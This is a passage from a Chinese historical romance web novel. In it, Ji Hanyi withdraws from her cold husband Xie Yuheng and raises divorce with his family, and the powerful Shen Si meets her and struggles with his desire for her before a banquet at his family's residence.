谢玉恒一顿,心里头却生了股难言的慌张空旷。
而此刻季含漪还在外头,与容春一起坐在街边卖浮圆子的小摊外头。
她是故意要躲着谢玉恒的,他不愿与谢玉恒一起用膳,但她没地方可去。
她回外祖家太频繁了,难免又要让他们担心,倒不如在外头自在。
其实自从与谢玉恒成婚后,季含漪几乎没有怎么出过谢家内院了,谢玉恒又太忙,很少带她出去。
她一个人是不敢出来的,怕婆婆责怪,也怕谢玉恒责怪她。
她时时刻刻小心翼翼着,想要做好谢玉恒的妻,更想要得到谢家人的认同。
她从来都在尽心努力着,不是她做得不好,是她永远都够不着的,是他们的心。
如今心无依靠,才觉得或许这才是自在吧。
热气腾腾的白烟铺面,季含漪长长叹息一声,掀开脸上纱巾尝了一口,真甜啊。
她笑起来,叫容春也赶紧尝尝。
容春几乎没见季含漪在谢府笑过,这会儿见着季含漪含笑,那眸子亮亮的,仿佛是从前爱笑的姑娘。
她眼里热了下,低头咬了一口,滚热的糖馅入了嘴,满口的甜。
她也笑:“真好吃。”
周遭熙熙攘攘,人声来往,到处都是烟火气。
季含漪闭着眼睛深吸一口气,她想,究竟是这样的日子好,还是富贵又沉闷的谢家那般人
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前体面的日子好。
女子这一生究竟该怎么选。
谢老太太说女子一生相夫教子,人前都是一派和美的,关上门的日子,每家都是缝缝补补的过,没有女子不委屈的。
但父亲与她说,不管怎么样,别叫自己太委屈。
季含漪其实想不明白。
她想明白的是,她真的喜欢极了这一刻。
真的真的喜欢极了。
街头另一边,沈肆静静看着这幕。
低调又贵气的马车缓缓停在路边一角。
沈肆指间抬起帘子,眼神看向那坐在街边矮凳上的人。
坐的也不那么端正,小小的缩成一团,身上的粉色裙摆拖到了地上,时不时低头,似乎是在吹气。
一股一股白色的热气从她面前冒出来,弥漫在她月白纱巾下。
沈肆历来冷淡的眼眸,不由的微微一软。
他看了眼那摊子,去吃的人倒是不少。
文安看主子忽然让马车停住,以为主子有什么吩咐,连忙过来窗前弯着腰等着吩咐。
这条路是回沈府的大街,每到夜幕升起时都十分的热闹,人来人往,酒肆酒楼也多,也因为太热闹了,侯爷从未在这儿停过。
文安也想不明白,主子怎么会忽然要停下呢。
见着主子眼神往那摊子里看,总不至于侯爷忽然想吃浮圆子吧。
沈肆看了眼站在马车外的文安,又看着那抹娇小的身影。
他不说话,等着她吃完。
文安觉得自己的腿都要站酸了,马车内才传来主子吩咐的声音:“去请她来。"
文安一愣,谁?
他顺着大人那手指头指的方向,正见着一女子从矮凳上站起来,一身烟笼粉裙,蝴蝶暗花,月白的裙边,发上拢着轻纱,轻纱下的乌发若隐若现,仪态很美,一眼就能在人群里注意到。
文安立马便明白主子的意思了,赶紧过去。
那头季含漪看看天色,想着谢玉恒应该没见着她就能放弃了,这时候天才刚黑,慢慢回去,不算晚也不算早,正是时候。
只是才没迈开步子,身边就来了个人。
两人对视,两人都愣了。
因为都认出了对方。
虽说隔着轻纱,面前女子脸颊被轻纱拢住,看不清样貌,但这身形和仪态,文安一眼就认出了是那日的女子。
那夜风雪里,那女子提着灯,不见面容也美的惊心,想要忘记也难。
他这才恍然大悟,难怪侯爷要让马车停在这里呢。
季含漪自然也认得出面前这人是沈肆身边的长随。
她没想到会在这里见到他,难道沈肆也在这里么。
心里头正乱想,对面人恭敬有礼的先开了口:“我家大人请姑娘一叙,还请姑娘与我来。”
第36章 想要放纵身体得到她
这大人是谁,季含漪怎么可能不知道。
但不知怎么的,心里就有点忐忑,乱想着沈肆要找她说什么。
她跟着去了马车前,看着那马车上紧闭的帘子,仅仅才站在外头,她就如年少时见到他那般,有些紧张和心慌。
她有些踌躇不想上马车,文安已经掀开帘子含笑看着季含漪:“姑娘,请吧。”
季含漪知晓也躲不了,只好硬着头皮上去。
马车里没她想的那般暖,相反,也只比外头暖和一点。
她才想起,沈肆好似并不怕冷,马车上也没生炭火。
马车内的光线也并不明亮,宽敞的马车内,沈肆的脸庞隐在暗色中,季含漪看不清沈肆脸上的表情,也不敢抬头看他,有些局促的坐在他对面。
迟迟没沈肆的声音,季含漪犹豫了许久,才抬手掀开面上的薄纱看向对面,有些不确定的问:“沈大人找我要说什么事情么?”
沈肆无声的看着她。
马车内因为有她上来,好似带来一股春日的暖香,旖旎又叫人心间发软。
他看着她灯下的脸庞,洁白如玉,一双明亮的眼眸往他看来,眸子里莹莹含水,她那一双美眸,顾盼含情,总是水涟涟的,娇娇气气,既美又怜。
沈肆的目光扫过她如画细眉,和那柔美的下巴,最后又看向她有些小心翼翼的眸子。
她眸子里看他从来都小心翼翼的,自小就是。
小时候季含漪就生的粉雕玉琢,雪团子一般的人,撑着下巴看他写字时,脸颊上的肉都堆在了一块,可爱的他有时候都想捏一捏。
但沈肆知晓季含漪怕他,刚才在马车外头她慢吞吞的,好似不愿见他。
其实沈肆在开口让文安叫她过来的那一刻就后悔了,他不该叫她来的。
他亦没什么能与她说的。
她已是人妇,不管说什么,她的任何事都与他没有干系。
他以为他能克制,可刚才马车路过这里,他心里最深处的牵挂就犹如烙进了骨头里,抬起帘子就见到了她。
就像是一股无法逃离的宿命。
沈肆微微坐直了身,面容从暗处显露出来,他似随意的问她:“好吃么?”
季含漪一愣,她反应过来沈肆在问什么,又忙点头:"好吃的。"
沈肆指尖落在面前小桌上的茶盏上,斟了一杯热茶,又送到季含漪的面前,淡淡的眼神抬起看她:“表哥回去了么?”
沈肆亲自给自己斟茶,季含漪有些受宠若惊的忙双手去接过茶盏,又明白过来沈肆叫她过来大抵是问表哥的事情,忙又开口:“洵表哥在第二日一早就回了。”
说着季含漪面露出感激的看着沈肆:“一直未与沈大人道谢,这回多谢沈大人帮忙。”
季含漪说着就要放下茶盏,起身给沈肆行大礼,又被沈肆冷冷清清的一句不用给生生打住,她又局促的坐下来,手中捧着茶盏,又不知所措的饮了一口。
她不知道要说什么,也不知道沈肆叫她来,难道仅仅只是为了问那一句么。
沈肆的余光落在季含漪局促的面容上,薄纱掀开半边,映在粉色衣裳上,她耳边的绿坠子闪烁若隐若现,那股靡艳的暖香愈演愈烈,还夹杂着一股浮圆子的甜腻。
他喉间微动,那股熟悉又陌生的情潮再度涌现,沈肆垂眼,视线冷清清落在她光滑裙摆上的细腰处。
紧绷的身子往后靠在身后的软垫上,他重新隐匿在暗色中,微微仰头闭目,惯常冷漠的声音里带了一丝沙哑:“在谢家好过么。”
沈肆想,若是季含漪说她在谢家过的不好,他或许就有千万个理由将她从谢玉恒的身边夺过来。
他只是想给自己找一个拥有她的合理的理由。
沈肆明白,自己要再见季含漪一眼的原因。
他再度将一个隐晦的台阶置于她的面前,她无需明白他的心思,她只需诉说一句她的委屈,她的艰难,她的后悔。
她可以说她如何不得夫君喜欢,说她独自一人被留在雪里,说她为何此刻会一人仍在外面。
她只需往前迈开一小步,他就会给她一个更加富贵又荣宠的一生。
昏暗的马车里,压迫与紧张莫名的弥漫。
季含漪看不清沈肆,她唯看得清他放在膝盖上的手指,骨节分明,食指上的松石戒是一股威严的威压。
他在季含漪的心里,一直就犹如长辈那般威严和不近人情。
她是敬畏沈肆的。
敬畏他少年时的严肃和刻苦,敬畏他沉稳不动声色的心思,更敬畏他是官场里如一把清醒又锋利的利剑。
她在心里乱糟糟的将沈肆的那句问候,下意识的就当成是如长辈一般的问切,又或则是他随口漫不经心的一句话。
她紧张的微微捏紧放在膝上的手指,一如在一个并不相熟的年长长辈面前那般局促,犹如做错事那般张口,羞耻于坦诚自己做的不够好,讷讷的声音软如莺啼:“我在谢家一切都好的。”
轻叩在膝上的手指顿住,沈肆长长吐出一口气。
所有的一切思绪,都在她那句一切都好的声音里戛然而止。
他看着马车顶上那雕刻的栩栩如生的飞鹤,展翅飞入云端,白云密布,重重迷障,不见高处仙人真身。
情与欲,于他来说,是深不见底的迷雾深渊,他亦无法窥见真正的自己。
到底是情生欲,还是欲生情,还是他们本就相生。
他最后再坐直了身躯,神情昏暗又幽深的看季含漪最后一眼。
对于沈肆来说,这大抵是他的最后一眼。
他已要到了结果,往后便再也不会见她。
女子柔软饱满的脸庞愈加妩媚,湛湛细眉的下的眼睛里点光闪烁,她看着他,带着畏惧紧张,耳坠子亦在不安的乱颤。
季含漪被沈肆这样的眼神
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看得心慌,心慌的甚至觉得自己说错了话。
她甚至在脑中胡乱的想着,这样的眼神她好似见过的。
但她想不起来了。
她失神间,又听到沈肆低沉的声音:“谢夫人,下马车吧。”
季含漪如梦初醒,忙站起来。
她想起身朝着沈肆福礼,但马车显然没那么高,头顶撞在马车顶上,季含漪诶了一声,身子往前倾,她忙往前迈了一步稳住身子,手又下意识的抚在头顶上。
这一刻在沈肆面前这般仪态的羞耻感席卷全身,她脸颊被烧的通红,心尖颤颤,低下头要赔罪时,对上的正好是沈肆抬眼看来的眼眸。
他眼里的平静如一潭深不见底的死水,毫无波澜,毫无情绪。
他依旧如神祇般高坐在看台上,波澜不惊的看她在台下如何狼狈。
这对于季含漪来说,叫她愈加觉得羞耻与难堪。
自己在沈肆眼里,或许如众生在他眼里一样,即便她如此难堪的时候,他也依旧毫无表情,让她愈加觉得自己在他面前微不足道的如一粒尘埃。
季含漪垂下眼眸,不知怎的有瞬眼眶微热,她眼睫颤动,又匆匆低声说告退,匆忙的掀开了旁边的帘子,几乎是落荒而逃。
她想要赶紧离开那让她难堪又窘迫的境地。
她站在街边,看着那辆华贵的马车没有丝毫停留的从她眼前驶离,凉风吹动她发上轻纱,她眨了眨眼,又看向周遭明亮的灯火,再看向深不见底的夜空。
马车内的沈肆闭着眼睛,眼前全都是刚才季含漪往他面前靠近的那一步。
她身上的软香袭来,她染了薄红的脸庞一如那夜诱人至极,那不盈一握的细腰就近在咫尺。
那一瞬间,他差点克制不住要伸手将她紧紧揽进怀中,将她压在身下,用力吻她那张香甜的檀口。
即便她已是人妇,即便她仍心系着谢家,他会向她抛出最诱人的条件引诱她。
谢玉恒怎比得上他。
谢家怎比得上荣恩侯府的荣华。
那一瞬间,欲望只差一毫,就要占据了理智。
差一瞬间,他所有对她旖旎的心思就要倾泻而出。
他甚至在想她的表情,她的动作,她的反应。
他甚至在想,若是她挣扎反抗,他便将她用力压在身下,放纵身体对她的全部欲望。
好在她匆匆离开了。
也算彻底淹没那沉积已久的心思。
他重新掩埋身体本能的欲望。
季含漪回谢府的时候,还算不得太晚,正好是戌时。
她路过主屋往后廊屋去的时候,看到主屋灯火通明,前门丫头跟随在身后,季含漪让她不用通传,就打算不惊动任何人的走。
她连灯笼都未打,只为不引起注意。
但她没想到的是,谢玉恒居然独自一人站在她书房的门前。
他眉眼萧疏,站在阴影里静静看着她。
第37章 知晓大爷不喜我,何必强求呢
季含漪见到谢玉恒一怔,路过他身边时,手腕又被他紧紧握住。
季含漪往谢玉恒面上看去,谢玉恒亦回头看她,眼神里全是复杂的神色,他先问:“去哪儿了?”
又问:“我有些事耽误了会儿,你用晚膳没有?”
季含漪并不在意谢玉恒的承诺,也并不在意他自己说一起用晚膳又迟来的事情。
相反,她庆幸。
庆幸不是又是自己独自一个人在苦苦等他。
她只道:“去了趟外祖那。”
谢玉恒听着这疏离的声音,声音低下来:“含漪,与我回主屋去睡。”
季含漪摇头:“我还有些事需在书房做完,大爷先去入睡便是。”
握在季含漪手腕上的手指紧了紧,谢玉恒深深看着季含漪:“含漪,我们之间不至于如此。”
“你如今与我分房而睡,下头人怎么看怎么想?若是我母亲知晓,该怎样责怪你?”
说着谢玉恒深吸一口气,似是无奈的叹息:“含漪,你一向不会这般任性的。。”
季含漪依旧摇头:“大爷,我不是任性。”
谢玉恒见季含漪这么冥顽不灵更是失望,他几乎要失了失态,眼神紧紧看着季含漪:“即便我从前多有忽视你,那也不该是你胡闹的理由。”
“含漪,你嫁入谢家三年了,你还没有身孕,于情于理,我即便休你也没可指摘,你若是再如此,真的离开谢家你就满意了?”
“你离了谢家还能往哪儿去?”
“你再这样下去,就没回头路了。”
季含漪本就没有给自己准备回头的路。
季含漪推开谢玉恒的手,她已经疲与他解释她的决心,她只是道:“大爷,多说无益,夜黑天寒,大爷早些回去休息吧。”
季含漪说完便转身打开身后房门,回过身关门的时候,看到的是谢玉恒那张失望的脸庞。
其实季含漪最讨厌看的就是谢玉恒总是对她露出失望的神情。
仿佛无论她再怎么做,做得再好,在他眼里她都是不够好的。
她从未得到过他的夸赞,他的赞同。
他与她少有的对话里,总是他在说她哪些地方还可以做得更好,他总是在说,她是他的妻,应该承担起怎样的担子。
她应该孝敬长辈,应该谦让小辈,更应该照顾好谢家每一个人的情绪。
她应该是谢家每一个人口中最好的样子,没有差池,没有自己的情绪。
谢玉恒将所有的担子放在了她一个人的身上,在他心里,谢家每一个人的感受都比她重要。
他甚至不论对错,不辨是非。
可笑的是,仅仅是因为她是他的妻。
当真辛苦。
当真委屈。
直到现在,他依然将她的情绪当作是任性,当作是胡闹。
他依然用这样失望的眼神看她。
季含漪不明白,为什么谢玉恒明明并不喜欢她,为什么还不愿写下和离书。
既他对自己这般失望,两人一别两宽,于他来说,不该是解脱么。
她不明白,她看不懂他。
但他与她之间早就沟壑难填,永远都向对方靠近不了,永远都不明白对方。
季含漪无言,犹如从前三年里无数个日日夜夜他对自己无言那般,直接合上了房门。
合上的房门将最后一丝透出来的光线都隔绝在夜色里,谢玉恒失神看着那道门,看着季含漪刚才眼神里那抹他看不懂的神色。
他往后踉跄后退了一步,站了良久。
季含漪没有理会谢玉恒到底在外头有没有走,她依旧做着自己的事情,吩咐下人去烧热水沐浴。
她再不将他的情绪放在心上,去反复揣摩他想让自己怎么做。
这本不是她的错,她不需要用改变来迎合谢家的每一个人。
到第二日一早的时候,谢玉恒依旧等在院门口,季含漪避无可避,只好从他前面走过。
当谢玉恒又要伸出手时,季含漪已经先他一步错开了身,走在前面。
谢玉恒错愕的看着自己悬在半空的手,又看着季含漪的背影,抬步走在她的身侧。
曾几何时,两人即便走在一起,也完全无话。
习惯了季含漪在他面前偶尔找起的话题,谢玉恒在这一刻意识到,从前两人之间的所有对话都是从季含漪开始的。
她不说话,两人好似也没有话可说。
他试着翻找起话题:“为什么不吃厨房送去的补药?”
季
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含漪垂眸看着脚下的路,声音很轻:“我用不着。”
谢玉恒皱眉:“你上回风寒的那么厉害,即便好了些,也不该大意。”
季含漪心不在焉的嗯了一声,显然是并不想多开口了。
谢玉恒滚在喉咙的里的话,听着她敷衍的那一声,全都堵在了一起。
谢玉恒深吸一口气,对季含漪道:“含漪,我在与你好好说话。”
季含漪错愕看了谢玉恒一眼:“从前大爷不也是这样么?”
又道:“大爷,我不想说话,能不能成全我?”
季含漪说完径自往前走去,她不想说话是真的,没有理由,因为真的厌倦。
谢玉恒皱眉看着季含漪的背影。
两人一前一后进了林氏那儿,照例的问安,照例林氏让谢玉恒先走。
唯一不同的是,林氏让屋内所有人都退了下去,独留了季含漪下来。
当林氏严厉呵斥的声音朝着季含漪扑面而来的时候,季含漪没有任何表情。
她早就知晓她与谢玉恒分房而睡的事情瞒不了林氏多久。
她嫁来谢家,身边带来的丫头只有容春一人,院子里的下人虽说平日恭敬她,但也始终是谢家的下人,林氏要知道这点事情,也并不难。
她默不作声,反而叫林氏更加气恼。
手上的茶盏不偏不倚的就朝着季含漪的脚下砸过来,指着她:“从前玉恒不喜欢你,宁愿睡在书房也不往你那儿去,现在玉恒回屋了,你又睡在别处。”
“你到底要干什么!你就是这么对待夫君的!”
季含漪往后退了一步,抬头看向林氏:“婆母既知晓大爷不喜我,何必强求呢?”
林氏一怔,冷眼看着季含漪:“你什么意思?”
季含漪摇头:"没什么意思,婆母若想要子嗣,我既不得大爷的心,可以让大爷与我和离另娶。"
林氏震惊的指着季含漪,半晌都说不出话来。
这还是那个从前一直温顺,低眉顺目的季含漪么。
林氏都觉得面前的人是变了一个人。
她反应过来,一连说了三个好,冷笑道:“这可是你说的,别我让玉恒和你和离,你又寻死觅活的说起什么当年的约定来。”
第39章 去到沈府
季含漪垂眸,耳畔坠子打在脸颊上,微微的冰凉。
顾老太太又低低道:“谢家老太太说的也是在理的,和离不是小事,是要两人慎重考虑好的,不然一时冲动下酿成了后果,就没有回头路走了。”
又低头看着季含漪的侧脸:“漪丫头,其实你要做什么样的决定,外祖母都是应的,只是怕你后悔。”
“谢家如今蒸蒸日上,谢家三位老爷都在官场上,谢玉恒的父亲要是从宣州回来,少说也是侍郎这样的官衔了。”
“玉恒亦是争气的,年纪轻轻已经有些作为。”
“况且当年谢家答应过,绝不纳妾,你真的舍得这样好的一桩婚事么?”
外祖母说的这些,季含漪在无数个深夜里都想过。
但她不走回头路。
她看向外祖母,如同从前一样轻轻开口:“谢家或许是好的,但这回洵表哥的事情外祖母应该也能看清,谢家好只是谢家好,与我是没干系的。”
“我要的倒不是谢家的富贵,只是我与谢玉恒从来不一条心,他高升是他高升,他富贵是他富贵,我不过是谢府摆放在台面上的花瓶而已。”
“将来某一天,谢玉恒异心其他女子,也是轻易,我早脱身,免得将来深陷泥潭。”
“我知晓我这回有些任性,外祖母便让我任性这一回吧。”
顾老太太听了这话,又深深看着季含漪。
三年,从前性子软脾气软,整个人都糯糯娇气,还总爱撒娇的小姑娘长大了。
她即便着妇人装束,规整又端庄,但那眉眼依稀如同从前那般,叫人怜爱心疼。
顾老太太伸手将季含漪抱进怀里,有一瞬间的伤心让她泪眼婆娑,轻抚着季含漪的后背:“漪丫头,和离的时候记得来信,外祖母和你表哥去谢家为你撑腰。”
“你母亲性子软弱,又容易钻死角尖,暂且别告诉她,能瞒着些日子便瞒着些日子,她受不住事,不然又添乱子。”
“外祖母虽老了,但绝不叫自家姑娘受委屈的。”
季含漪自从父亲走后,轻易不肯落泪,唯有在外祖母面前委屈汹涌,哭了好大一场。
离开时,外祖母问她上回洵表哥的事情,季含漪没有瞒着。
顾老太太听罢看向季含漪晕红眼眸里残留的水色,只是怜惜:“为难你了。”
又道:“沈侯爷肯帮你,大抵也是为着从前你父亲与老首辅的情谊,可好好谢过他了?”
季含漪微怔,倒不是她不愿谢。
得知洵表哥回来的那日,她便写了信给沈肆,她甚至不知晓信他看过没有。
上回在马车里本是想要好好谢他的,又在他面前出了丑,凌乱一片,连走都是匆匆的。
她没说这些,想来沈肆那样的人,也不会在意她一声道谢。
从外祖母那儿出来,却见顾晏正站在宁安堂院门口,也不进院,就在院子外头转,见着她又忙往她面前走了一步。
季含漪手上捏了帕子,在眼下又点了点,往顾晏看去,问他:“表哥要见外祖母么?”
那声音里还带着一股沙哑的柔音,听得顾晏的心里狂跳,紧张的手心冒汗,甚至不敢垂眼多看季含漪一眼。
他只盯着她绿波色的秀气肩膀,上头刻丝暗花流转,凉风吹乱他心神,又故作镇定的点头:“今日轮值,正好去看看祖母。”
季含漪点点头,往旁让了一处地方:“外祖母这会儿正空闲着,身子瞧着也好了些,晏表哥孝心,外祖母也会高兴的。”
顾晏眼前只有那轻移的莲步尖尖,又觉脸颊发热,视线往季含漪脸庞上看去,见着她眼眸晕红,眼里点点星辰,秀挺的琼鼻微红,不由手一抬,稍急促的问:“表妹怎么了?”
季含漪摇头道:"表哥别担心,不过见了外祖母,高兴罢了。"
顾晏抬起一半的手又落下,胸腔里一股炙热的情绪,全都积压在那一处,叫他难受的连开口都是艰难的。
季含漪又抬眼看向顾晏:“晏表哥该在这儿等许久了,这里风口处冷,晏表哥快些去吧。”
顾晏只低头,视线却不由随着季含漪离开的背影离去,又恍然惊醒的回神,后背又落了一层汗。
心里那跳的快溺死的心跳声,叫他往院内走的步子也稍显的凌乱起来。
季含漪在母亲那儿待了一会儿,又仔细看了母亲的药,本来要走的时候,又被二舅母请了去。
二舅母拉着她说了许多感激话,又落泪起来,担忧起季含漪在谢家的前程。
季含漪安慰着,亲人在身侧为她担忧,心里总算微暖。
走前又去看了洵表哥,那北镇抚司的刑具的确太厉害,也当真没有留太多情面,顾浔躺在床榻上这么久也依旧没好,季含漪也看得难受。
回了谢府时,谢老太太又叫季含漪去陪着一起用午膳。
季含漪明白谢老太太大抵是有话与她说的,去时前厅桌上已摆好了菜,谢老太太笑着招呼季含漪过来坐在身边。
用膳时没怎么说话,用完膳后谢老太太拉着季含漪问:“这些日与玉恒还好么?”
季含漪也知晓谢老太太心里也会向着谢玉恒的,不知如何开口。
谢老太太倒是又道:“你婆母今早一早就来了我这儿,说你与恒哥儿分了房,说恒哥儿在外被你气的好几日不回了,在我这头又哭又闹的,说让我做主给恒哥儿纳妾,也是吵得我头疼。”
季含漪抬头看向谢老太太:“含漪给老太太添麻烦了。”
谢老太太一叹,看着季含漪:“哪里能说是添麻烦呢。”
说着她话音一转又道:“但两人过日子,哪有什么非过不去的事?那官场上的男子,稍有些能力的,又有几个整日里顾着儿女情长的?”
“就如你公公,常年在外为官,你婆母也体谅着,将府里打点的很好。”
说着谢老太太握紧季含漪的手:“含漪,这就够了,女子一生注定是站在男子身后的,打理好后宅,生儿育女,便是女子最大的用出。”
“那些不甘心并不要紧,男子的喜爱也并不要紧,女子最要紧的是体面,女子嫁人,几个真是那么称心如意的?”
季含漪张口,开口想说写什么,到底又归于沉默。
其实谢老太太也不能完全明白她,她明白自己可以装聋作哑的与谢玉恒体面的过一辈子,不过是一些委屈而已,不过是夫君不喜她而已,忍一忍就好了。
但她只是觉得无趣,困在这里无趣的很。
她更觉得谢玉恒不值得,不值得她的隐忍,不值得她为他生儿育女。
谢老太太也并没有要等季含漪一个明确的回答,她又道:“后日皇后娘娘要在沈府办一场赏雪宴,谢府也收到了帖子,介时你跟着府里的一起过去吧。”
说完谢老太太目色怅然的看着季含漪:“本来你没必要去的,但我让你去,是让你去多与别家妇人说说话,听听别家的日子,人生没有十全十美的,月也没有总是满圆的时候,你去看看,散散心,或许就能够想通了。”
“想通了,早些出来,玉恒的马车等着你,你们两人有什么话都该说清。”
“至于你婆母说的纳妾的事,你放心,恒哥儿也同我保证了,当初他父亲提亲时的诺言依在,即便你生不出来,便是抱宗族里其他的孩子来你名下,也绝不会纳妾的。”
季含漪低眉顺目,指尖微微一凝。
不愿去沈家的话还没说出来,就被谢老太太接下来的话堵住:“含漪,我是向着你的,可你总要应承我的良苦用心,不然我怎么向着你呢?”
“别推辞了,你总要给玉恒一点表现的机会。”
“这些日子别再提和离的事情,高高兴兴过这一段日子,不管最后什么结局,我该为你做主的便要为你做主。”
到了后日,季含漪收拾好往前门去的时候,却看到谢玉恒等在前门口的。
今日是休沐,谢玉恒难得回了府里
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,但两人没照面,去林氏那儿问安的时候,谢玉恒在书房,这会儿见着他也是有些诧异。
又见李眀柔站在谢玉恒的身边,一双柔弱的盈盈水眸看着他,两人不知在说什么,谢玉恒正扶着李眀柔上马车。
季含漪见着谢玉恒正扶着李眀柔上马车,也明白了谢玉恒怎么在这儿,便步子轻抬往后面的马车去。
前面的马车是未出嫁的姑娘,后面的马车里坐着谢家媳妇,再后面就是二夫人与三夫人的马车了。
谢玉恒送着李眀柔上了马车,转头往季含漪方向看去时,才见着她正独自上马车,心里头就是一紧,三两步过去握住季含漪手腕处,低声道:“刚才我见着你来了,原是想早些扶着明柔上马车来找你的。”
又问:“怎么不稍等等我?”
季含漪只嗯了一声,又问:“大爷还要说什么么?”
谢玉恒只觉一拳打在棉花上那般无力,深吸一口气看着季含漪平静的眉眼,那双看他的眼神里,也再没往日里的柔软明媚。
他深吸一口气又道:“等宴会结束,我来接你。”
说完他看她,伸手揉了揉季含漪柔软的手心,声音放缓:“我带你去庙会走走。”
季含漪是想拒绝的,但这时前头马夫过来问询谢玉恒是否现在走,谢玉恒对季含漪说了句等我,便往后退了几步,点了点头。
李眀柔掀开帘子看向谢玉恒,见着谢玉恒眼神始终追逐着季含漪的那辆马车,眼神亦变了变。
到了沈府,沈府后院来的人不少,亭台水榭里都坐着人,不过沈府后院很大,也并不显得拥挤。
后院里琉璃亭台傍水而筑,四周遍植名木异卉,名贵梅花从廊亭探出枝叶,侍女捧金盘,穿过九曲回廊,裙裾拂来香风,又吹动檐下铜铃,正与簌簌下落的小雪应景。
来了之后应该先去与皇后娘娘与沈夫人问安,季含漪独自走在最后,低眉敛目,并没有如同其他人那般稀奇的到处观看。
她与谢家其他弟妇平日里并不怎么来往说话,身边没人,倒是李眀柔走到了她身边来道:“我倒是没看出来你这般会欲擒故纵。”
“你以为这样谢哥哥就多看你了?谢哥哥的心始终在我这儿的。”
季含漪没说话,如今也懒得搭理,叫李眀柔气得变了脸。
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另一边沈肆远远站在阁楼上,低头看着不远处季含漪走在最后的身影。
她穿一身芙蓉色挑丝团花纹的衣裳,娇小的身子即便隔着很远也能注意到她,那随着她步伐蹁跹而起的裙裾摆动,更显得那细腰不盈一握。
如雪般莹白的皮肤在小雪里唇红齿白,拘谨又素净,眼里唯有她浓密发间那一抹绿色发簪的颜色。
站在沈肆身边的沈家二房四爷沈长龄顺着沈肆的目光看下去,又好奇的问:“五叔,你在看什么?”
沈肆嫌他多话,没搭理的意思。
沈长龄对他一向严肃的五叔有些惧意,这会儿也不敢再问了,但他还是顺着五叔的目光看下去,视线便落到楼下正走过的女子身上。
只见那女子乌发如缎,肤白如雪,且身上娇小却匀称有致,没有时下流行的病西子那般的弱不禁风,反而是,该饱满的饱满,该纤细的纤细。
又见那低垂的一双妙眼美眸看起来美极了,更要紧的是那张生的妩媚的脸庞,却是低调生涩的神情,当真是媚不自知,简直尤物极品。
他不由道:“真像书里的尤物……”
说完又觉得一道凉凉的目光看来,他后背一冷,侧头看去,就见着五叔冷淡看了他一眼,那眼里如寒风雪刀,吓了他一跳。
再回神的时候,就只见着白衣背影离去,他一人站在廊上,仍旧心惊肉跳的。
今儿母亲说,皇后娘娘办这场宴会,本意是为着五叔物色妻子的,也叫他跟着瞧瞧有没有可心的,可刚才瞧见个不错的,被五叔那眼神一看,他都觉得自己像是不该看……
第40章 扑进沈肆怀里
这头季含漪跟着谢家其他人一起进屋去问了安,屋内候着问安的人多,人人都想在皇后娘娘和沈夫人跟前露脸,身边围了许多贵妇。
季含漪低着头,走在谢家夫人后面,也不起眼,倒没引起注意。
皇后娘娘季含漪从前见过,性情温和,沈老夫人性情也是好的,只是时过经年,物是人非,她并不想让旁人觉得她故意攀交。
她再跟着谢家人一起退下时,眼神一抬,又见着顾宛云正低眉站在皇后娘娘跟前,二舅母正满脸堆笑的与皇后娘娘说话,半点没注意到她。
季含漪见了这场景也不由想,难道皇后娘娘真的中意了顾宛云?
今日来的贵女何其多,皇后娘娘特意将顾宛云留在身边说话,已经是大有深意了。
若真是如此,季含漪倒是为顾宛云高兴。
出去后,季含漪独自往廊中去,曾经的手帕交早已在季家出事后不怎么来往了,后来与谢玉恒成亲,宴会倒是跟着婆母参加过一些,只是大多是点头之交,并没有深交的。
她也不想与谢家其他人坐着说话,无论说什么,每回都会说到她该怎么去讨谢玉恒欢心上头去,个个挂着关心她的神色出谋划策,却在暗地里里又对她冷嘲热讽看热闹。
她早就明白了,她们不过是在烦闷无趣的后宅日子里将她当作了消遣,当作了自己过得还算好的安慰,几人又真想她与谢玉恒当真好好的过下去。
她无心应付,自己一人倒还自在些。
只是她才一坐下,一位衣着华贵,举止端庄的妇人就来到季含漪的身边,笑吟吟的坐下,喊了她声:“含漪。”
季含漪一怔,认出来面前人是定国公府的三夫人,因为谢老太太出身定国公府,所以两家来往的也稍多,季含漪是认得的。
季含漪忙站起来福礼。
魏三夫人笑了,笑拉着季含漪在身边坐下,又看着季含漪问:“怎么不去与人说话?”
季含漪便道:“想着清静会。”
魏三夫人笑了笑,又叫自己儿媳方氏过来,再对季含漪道:“你倒是与我儿媳的脾气相似,她也是喜欢清静的,你们该是能聊的投机。"
说着她站起来,让方氏坐去季含漪身边,又道:“你们先说说话。”
说完便走了。
季含漪与方氏也算不得熟悉,但也说过几回话,正想着怎么开口,方氏已经亲热的过来牵着她的手道:“我从前一直想与妹结交的,今日倒有了机会。”
说着她看向季含漪:“其实我一直都羡慕妹妹的。”
季含漪不明白的问:“姐姐羡慕我什么?”
方氏便道:"羡慕妹妹后院清静,哪里像我家三爷,前段日子又抬了一房妾室了,整日的斗来斗去,也是叫我心烦。"
季含漪不由道:“姐姐有的我未必有,姐姐何必羡慕。”
方氏便含笑:“也是妹妹说的这个理,妹妹有的我也未必有,哪能样样都全呢。”
这话与谢老太太的话有几分相似,季含漪便听明白了,谢老太太是借着这回的宴会,让娘家同辈媳妇来劝她了。
方氏拉着她说了许多,又引着她去见她交好的姐妹,各个都说起自己院子的难事来。
不是夫君不常回家,整日在外吃花酒,便是夫君落家却不上进,要么两人貌合神离,要么两人从前情浓,过后又疏远了。
也曾有海誓山盟,几年过后,早忘了旧人。
旧人总之比不过新人,男子最擅喜新厌旧,谁都有隐忍之处。
季含漪听得很明白,那些话也是真心话,两情相悦,真心真意都是镜花水月,只有能看见的富贵,身份与体面,才是能抓紧在手里的东西。
方氏又挽着她:"这么说来,妹妹才是最令人艳羡的。"
“虽说谢大爷常忙公务,却是后院干净,还不纳妾,又有前程,我们怎么不羡慕?”
季含漪苦笑,却无话说。
是的,她得承认,人生不会圆满,不会十全十美,她的计较,她的委屈,她的失望,就作如鱼饮水,冷暖自知。
说与旁人听也不懂,但她不需人懂她,她能够懂自己就好。
正说着话,不知何处来的李眀柔忽然走到季含漪身侧来,一伸手就挽住了季含漪的胳膊,笑里带甜:“表嫂,怎么不去与我们一块去说话?”
“前头正玩儿梅花谜呢,四姑娘五姑娘都想要去瞧瞧,表嫂一起么?”
季含漪侧头看向李眀柔,往前在外头宴会上,李眀柔总是与谢家姑娘们说的火热,少有主动往她身上靠来的时候。
她推开李眀柔的手淡笑:“你们玩你们的便是,待会儿我去找你们。”
李眀柔被季含漪推开,脸上微微一顿,随即她笑开,又道:“那表嫂别走远了,待会儿我们一起回去。”
说着她后退两步便笑着转身往另一边谢二夫人那头去。
季含漪看着李眀柔的背影,觉察到了一丝不对出来。
